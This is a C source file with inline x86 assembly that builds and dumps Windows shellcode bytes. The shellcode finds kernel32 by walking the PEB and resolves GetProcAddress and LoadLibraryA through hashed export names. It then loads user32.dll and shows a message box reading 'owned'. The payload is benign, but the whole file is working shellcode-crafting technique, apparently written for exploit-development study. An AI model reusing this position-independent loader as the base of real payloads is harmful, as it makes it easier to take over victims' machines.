#include <stdio.h>
#include <string.h>
#include <windows.h>

#define GETPROCADDRESS_HASH 0x7c0dfcaa
#define LOADLIBRARYA_HASH 0xec0e4e8e

unsigned int saved_ebp;

int main()
{
	unsigned int start_shellcode_address;
	unsigned int end_shellcode_address;
	unsigned int i;
	unsigned int len;
	unsigned char *ptr;
	unsigned int oldProtect;

	VirtualProtectEx(-1,(void *)main, 0x1000,PAGE_EXECUTE_READWRITE,&oldProtect);

	__asm mov saved_ebp, ebp;

start_shellcode:
	//get the PEB from the TEB
	//The TEB is located as fs:0
	__asm mov eax, fs:[0x30];

	//get the loaded dll's info from the PEB
	__asm mov ebx, [eax+0x0c];

	//get the in initialization order linked list
	//of the dll's this executable is using from
	//the peb's loaded dll info. The first module
	//is always ntdll
	__asm mov ecx, [ebx+0x1c];
	
	//get the second item in the list by accessing
	//the next pointer in the linked list. The second
	//module is always kernel32.dll
	__asm mov edx, [ecx];

	//+0x8 in the loaded modules linked list data structure
	//gets us the base address of kernel32.dll
	__asm mov ebp, [edx+0x8];

	//+0x3c gets us the NT header of the executable.
	__asm mov eax, [ebp+0x3c];

	//+0x78 into the NT header gives us the EAT
	//ebx is going to be our pointer to EAT 
	__asm mov ebx, [eax+ebp+0x78];
	__asm add ebx, ebp;

	//ecx is number of functions in EAT
	__asm mov ecx, [ebx+0x14];

	//edx is pointer to the names table
	__asm mov edx, [ebx+0x20];
	__asm add edx, ebp;

	//create space on the stack where we will store the
	//recovered GetProcAddress and LoadLibrary addresses
	__asm sub esp, 8;
	__asm mov [esp], 0xdeadbeef;
	__asm mov [esp+4],0xcafebabe;
	       
find_function:
	//ecx=0 when we have looked at all the functions
	__asm test ecx, ecx;
	__asm jz find_function_finished;

	__asm dec ecx;

	//set esi to the pointer for the next function name
	__asm mov esi, [edx+ecx*4];
	__asm add esi, ebp;


	//edi will hold hash(function name)
	__asm xor edi, edi;

	__asm xor eax, eax;

	//clear the direction flag to esi increments after lodsb's
	//instead of decrements
	__asm cld;
compute_hash:	
	//al = [esi]; esi++
	__asm lodsb;

	//check for null byte that signifies the end
	//of the ascii string
	__asm test al, al;

	__asm jz compute_hash_finished;

	//continue computation of the string hash
	__asm ror edi, 0xd;
	__asm add edi, eax;
	__asm jmp compute_hash;

compute_hash_finished:
	__asm cmp edi, GETPROCADDRESS_HASH;
	__asm je getprocaddress_found;
	__asm cmp edi, LOADLIBRARYA_HASH;
	__asm je loadlibrary_found;

	__asm jmp find_function;

getprocaddress_found:
	//eax = ordinal table
	__asm mov eax, [ebx+0x24];
	__asm add eax, ebp;
	//di = ordinal of getprocaddress
	__asm xor edi, edi;
	__asm mov di, [eax+2*ecx];
	//eax = address table
	__asm mov eax, [ebx+0x1c];
	__asm add eax, ebp;
	//esi = rva of getprocaddress
	__asm mov esi, [eax+4*edi];
	__asm add esi, ebp;
	//store getprocaddress address at [esp]
	__asm mov [esp], esi;
	__asm jmp find_function;

loadlibrary_found:
	__asm mov eax, [ebx+0x24];
	__asm add eax, ebp;
	__asm xor edi, edi;
	__asm mov di, [eax+2*ecx];
	__asm mov eax, [ebx+0x1c];
	__asm add eax, ebp;
	__asm mov esi, [eax+4*edi];
	__asm add esi, ebp;
	//store loadlibrary address at [esp+4]
	__asm mov [esp+4], esi;
	__asm jmp find_function;

find_function_finished:
//	__asm int 3;
	__asm mov eax, [esp+4];
	__asm jmp user32dll_string;
user32dll_string_return:
	__asm pop ebx;
	__asm xor ecx, ecx;
	__asm mov [ebx+10],cl;
	__asm push ebx;
	__asm call eax;

	//eax is the handle of the user32.dll
	//returned by the call to LoadLibraryA
	//store it in ecx
	__asm mov ecx, eax;
	__asm mov eax, [esp];
	__asm jmp messagebox_string;
messagebox_string_return:
	__asm pop ebx;
	__asm xor edx, edx;
	__asm mov [ebx+11],dl;
	__asm push ebx;
	__asm push ecx;
	__asm call eax;

	//eax should now be the address of MessageBox
	//since it was the return value of GetProcAddress
	__asm jmp owned_string;
owned_string_return:
	__asm pop ebx;
	__asm xor ecx, ecx;
	__asm mov [ebx+5], cl;
	__asm push ecx;
	__asm push ebx;
	__asm push ebx;
	__asm push ecx;
	__asm call eax;
	
	__asm jmp end_shellcode;

user32dll_string:
	__asm call user32dll_string_return;
	__asm _emit 0x75;
	__asm _emit 0x73;
	__asm _emit 0x65;
	__asm _emit 0x72;
	__asm _emit 0x33;
	__asm _emit 0x32;
	__asm _emit 0x2e;
	__asm _emit 0x64;
	__asm _emit 0x6c;
	__asm _emit 0x6c;
	__asm _emit 0x90;

messagebox_string:
	__asm call messagebox_string_return;
	__asm _emit 0x4d;
	__asm _emit 0x65;
	__asm _emit 0x73;
	__asm _emit 0x73;
	__asm _emit 0x61;
	__asm _emit 0x67;
	__asm _emit 0x65;
	__asm _emit 0x42;
	__asm _emit 0x6f;
	__asm _emit 0x78;
	__asm _emit 0x41;
	__asm _emit 0x6e;

owned_string:
	__asm call owned_string_return;
	__asm _emit 0x6f;
	__asm _emit 0x77;
	__asm _emit 0x6e;
	__asm _emit 0x65;
	__asm _emit 0x64;
	__asm _emit 0x6e;


end_shellcode:
	__asm mov ebp, saved_ebp;

	__asm lea eax, start_shellcode;
	__asm mov start_shellcode_address, eax;

	__asm lea eax, end_shellcode;
	__asm mov end_shellcode_address, eax;

	len = end_shellcode_address - start_shellcode_address;
	printf("shellcode len: %d\n", len);
	
	printf("shellcode bytes: \n");
	ptr = (unsigned char *)start_shellcode_address;
	for (i=0;i<len;i++)
	{
		if (i != 0 && i % 16 == 0)
			printf("\n");
		printf("%02x ", ptr[i]);
	}
	printf("\n");
}
